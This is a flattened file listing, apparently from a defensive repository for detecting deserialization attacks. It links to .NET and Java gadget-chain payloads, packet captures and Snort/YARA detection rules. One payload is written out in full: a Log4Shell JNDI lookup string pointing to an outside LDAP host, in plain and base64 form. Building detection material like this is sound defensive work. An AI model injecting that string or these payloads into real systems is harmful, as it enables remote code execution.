https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_Json.Net.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_Json.Net.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_Json.Net.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_DataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_DataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_DataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_DataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_Json.Net.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_Json.Net.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_Json.Net.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_Json.Net.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionViewStateHistoryItem_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionViewStateHistoryItem_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_DataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_DataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_DataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_DataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TextFormattingRunProperties_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TextFormattingRunProperties_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegateMono_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegateMono_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegateMono_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegateMono_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegateMono_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegateMono_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegateMono_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegateMono_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegateMono_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegateMono_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegateMono_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegateMono_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegate_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegate_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegate_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegate_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegate_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegate_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegate_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegate_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegate_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegate_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/TypeConfuseDelegate_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/TypeConfuseDelegate_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_DataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_DataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_DataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_DataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_Json.Net.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_Json.Net.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_Json.Net.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_Json.Net.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsIdentity_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsIdentity_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_DataContractJsonSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_DataContractJsonSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_DataContractJsonSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_DataContractJsonSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_DataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_DataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_DataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_DataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_Json.Net.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_Json.Net.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_Json.Net.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_Json.Net.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/WindowsPrincipal_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/WindowsPrincipal_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/testanull_CVE202142321_POC_example.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/testanull_CVE202142321_POC_example.base64 -------------------------------------------------------------------------------- /payloads/dotnet/testanull_CVE202142321_POC_example.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/testanull_CVE202142321_POC_example.bin -------------------------------------------------------------------------------- /payloads/javaobj/BeanShell1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/BeanShell1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/BeanShell1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/BeanShell1.bin -------------------------------------------------------------------------------- /payloads/javaobj/C3P0.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/C3P0.base64 -------------------------------------------------------------------------------- /payloads/javaobj/C3P0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/C3P0.bin -------------------------------------------------------------------------------- /payloads/javaobj/Click1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Click1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Click1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Click1.bin -------------------------------------------------------------------------------- /payloads/javaobj/Clojure.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Clojure.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Clojure.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Clojure.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsBeanutils1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsBeanutils1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsBeanutils1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsBeanutils1.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections1.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections2.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections2.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections2.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections3.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections3.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections3.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections3.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections4.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections4.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections4.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections4.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections5.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections5.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections5.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections5.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections6.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections6.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections6.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections6.bin -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections7.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections7.base64 -------------------------------------------------------------------------------- /payloads/javaobj/CommonsCollections7.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/CommonsCollections7.bin -------------------------------------------------------------------------------- /payloads/javaobj/FileUpload1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/FileUpload1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/FileUpload1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/FileUpload1.bin -------------------------------------------------------------------------------- /payloads/javaobj/Groovy1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Groovy1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Groovy1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Groovy1.bin -------------------------------------------------------------------------------- /payloads/javaobj/Hibernate1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Hibernate1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Hibernate1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Hibernate1.bin -------------------------------------------------------------------------------- /payloads/javaobj/Hibernate2.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Hibernate2.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Hibernate2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Hibernate2.bin -------------------------------------------------------------------------------- /payloads/javaobj/JBossInterceptors1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/JBossInterceptors1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/JBossInterceptors1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/JBossInterceptors1.bin -------------------------------------------------------------------------------- /payloads/javaobj/JRMPClient.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/JRMPClient.base64 -------------------------------------------------------------------------------- /payloads/javaobj/JRMPClient.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/JRMPClient.bin -------------------------------------------------------------------------------- /payloads/javaobj/JavassistWeld1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/JavassistWeld1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/JavassistWeld1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/JavassistWeld1.bin -------------------------------------------------------------------------------- /payloads/javaobj/Jdk7u21.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Jdk7u21.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Jdk7u21.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Jdk7u21.bin -------------------------------------------------------------------------------- /payloads/javaobj/MozillaRhino1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/MozillaRhino1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/MozillaRhino1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/MozillaRhino1.bin -------------------------------------------------------------------------------- /payloads/javaobj/MozillaRhino2.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/MozillaRhino2.base64 -------------------------------------------------------------------------------- /payloads/javaobj/MozillaRhino2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/MozillaRhino2.bin -------------------------------------------------------------------------------- /payloads/javaobj/Myfaces1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Myfaces1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Myfaces1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Myfaces1.bin -------------------------------------------------------------------------------- /payloads/javaobj/ROME.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/ROME.base64 -------------------------------------------------------------------------------- /payloads/javaobj/ROME.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/ROME.bin -------------------------------------------------------------------------------- /payloads/javaobj/Spring1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Spring1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Spring1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Spring1.bin -------------------------------------------------------------------------------- /payloads/javaobj/Spring2.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Spring2.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Spring2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Spring2.bin -------------------------------------------------------------------------------- /payloads/javaobj/URLDNS.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/URLDNS.base64 -------------------------------------------------------------------------------- /payloads/javaobj/URLDNS.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/URLDNS.bin -------------------------------------------------------------------------------- /payloads/javaobj/Vaadin1.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Vaadin1.base64 -------------------------------------------------------------------------------- /payloads/javaobj/Vaadin1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/javaobj/Vaadin1.bin -------------------------------------------------------------------------------- /payloads/jndiobj/cve-2021-44228.base64: -------------------------------------------------------------------------------- 1 | JHtqbmRpOmxkYXA6Ly9tYW5kaWFudC5jb20vYX0K 2 | -------------------------------------------------------------------------------- /payloads/jndiobj/cve-2021-44228.bin: -------------------------------------------------------------------------------- 1 | ${jndi:ldap://mandiant.com/a} 2 | -------------------------------------------------------------------------------- /pcaps/cve-2021-44228_rawbase64.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/pcaps/cve-2021-44228_rawbase64.pcap -------------------------------------------------------------------------------- /pcaps/ysoserial_dotnet_rawbase64.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/pcaps/ysoserial_dotnet_rawbase64.pcap -------------------------------------------------------------------------------- /pcaps/ysoserial_java_rawbase64.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/pcaps/ysoserial_java_rawbase64.pcap -------------------------------------------------------------------------------- /rules/javaobj/AspectJWeaver.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/AspectJWeaver.snort -------------------------------------------------------------------------------- /rules/javaobj/AspectJWeaver.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/AspectJWeaver.yara -------------------------------------------------------------------------------- /rules/javaobj/BeanShell1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/BeanShell1.snort -------------------------------------------------------------------------------- /rules/javaobj/BeanShell1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/BeanShell1.yara -------------------------------------------------------------------------------- /rules/javaobj/C3P0.snort: 